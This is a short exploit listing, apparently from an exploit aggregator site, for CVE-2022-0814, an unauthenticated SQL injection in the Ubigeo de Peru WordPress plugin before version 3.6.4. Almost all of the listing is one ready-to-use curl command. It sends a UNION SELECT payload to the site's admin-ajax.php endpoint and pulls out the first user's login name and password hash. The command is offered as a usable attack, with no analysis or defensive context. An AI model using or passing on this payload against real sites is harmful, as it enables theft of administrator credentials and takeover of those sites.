Exploit for Ubigeo de Peru < 3.6.4 - Unauthenticated SQLi CVE-2022-0814

Name: Exploit for Ubigeo de Peru < 3.6.4 - Unauthenticated SQLi CVE-2022-0814
Rating: 5 (70 reviews)

2022-04-18 | CVSS 7.5

## https://sploitus.com/exploit?id=WPEX-ID:FD84DC08-0079-4FCF-81C3-A61D652E3269
curl https://example.com/wp-admin/admin-ajax.php \
    --data 'action=rt_ubigeo_load_distritos_address&idProv=1 UNION SELECT 1,(SELECT user_login FROM wp_users WHERE ID = 1),(SELECT user_pass FROM wp_users WHERE ID = 1) from wp_users#'